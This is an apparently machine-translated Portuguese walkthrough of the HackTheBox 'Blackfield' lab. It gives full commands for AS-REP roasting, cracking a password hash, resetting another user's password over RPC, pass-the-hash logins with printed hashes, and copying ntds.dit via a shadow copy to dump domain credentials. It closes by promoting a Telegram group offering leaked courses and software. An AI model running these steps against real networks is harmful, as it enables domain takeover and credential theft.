
Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .
Neste artigo, usarei ASRep Roasting para definir usuários, RPC para alterar senhas e assumir uma conta e, em seguida, elevar nossos privilégios com uma cópia de sombra NTDS.DIT.
A conexão com o laboratório é via VPN. Recomenda-se não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.
Informação organizacional
Recon
Esta máquina tem um endereço IP de 10.10.10.192, que adicionei a / etc / hosts.
10.10.10.192 blackfield.htb
A primeira etapa é verificar as portas abertas. Eu faço isso usando o seguinte script, que leva um argumento - o endereço do host a ser verificado:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Vemos muitas portas abertas, mas como sempre, vamos começar com o SMB. Vamos ver se podemos fazer algo sem fazer login.
smbmap -u anonymous -H 10.10.10.192

E podemos ler os perfis de diretório $.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2

Temos uma grande lista de usuários potenciais. Podemos verificar quais usuários estão realmente presentes no sistema. O fato é que, durante um ataque ASRep Roasting, o servidor tem três respostas diferentes:
- hash da senha do usuário;
- este usuário não tem UAF Dont Require PreAuth definido;
- não existe tal usuário no banco de dados Kerberos.
Assim, poderemos descobrir quem é e quem não é.
Ponto de entrada
Primeiro, vamos fazer uma lista.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
Agora vamos fazer ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt

E fiquei surpreso quando o hash foi devolvido para nós. Vamos grunhir ele.
john support.hash -w=./tools/rockyou.txt

E temos toda uma conta controlada. Agora vamos obter o máximo de informações possível usando enum4linux.
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null

Teremos uma lista enorme de usuários obscuros, mas o mais interessante é a associação ao grupo. Isso nos dirá que svc_backup está no grupo RMU (RID: 580), que permite conexões remotas usando Win-RM.
Não podemos pegar mais nada do SMB, mas não encontramos nada no LDAP. Mas no RPC, como descobrimos, existe um truque. Vamos nos conectar:
rpcclient 10.10.10.192 -U support

O fato é que é possível alterar a senha de um usuário com os mesmos privilégios, tudo é descrito em detalhes aqui . E consegui fazer isso para o usuário audit2020.
setuserinfo2 audit2020 18 'ralf'

Agora começamos a análise de todos os recursos e serviços desde o início, pois temos outra conta controlada.
DO UTILIZADOR
Vamos para o SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192

Há muito para ler, é melhor exibir todo o conteúdo recursivamente e visualizá-lo de uma vez.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R

E na pasta forensic \ memory_analysis encontramos, aparentemente, um dump do processo lsass. E a partir dele podemos obter senhas usando mimikatz. Baixe este arquivo.
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192

Agora vamos para a máquina Windows e usar o mimikatz.

E, conhecendo o hash, usando Evil-WinRM nos conectamos em nome de svc_backup.
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

RAIZ
Vamos ver os grupos e privilégios do usuário.

Temos o privilégio SeBackupPrivilege. Isso nos dá o direito de criar uma cópia de sombra do arquivo NTDS que contém várias credenciais. Depois de criar uma cópia, não podemos simplesmente extrair o arquivo necessário. Para isso, precisamos das seguintes DLLs .
Vamos fazer uma cópia de sombra. Vamos criar um arquivo com o seguinte conteúdo.
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
E agora vamos fazer o upload e as bibliotecas baixadas para o host.

Vamos fazer uma cópia de sombra.
diskshadow /s ds.txt


E despeje o arquivo.
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

Mas este arquivo é criptografado, e para descriptografá-lo precisamos do arquivo SYSTEM, o que não será um problema de obter.
reg save HKLM\SYSTEM C:\Temp\SYSTEM

Baixe os dois arquivos da máquina.

E obtemos os hashes usando secretsdump do pacote impacket.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Vamos nos conectar como administrador.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

Temos controle total sobre esta máquina.
Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.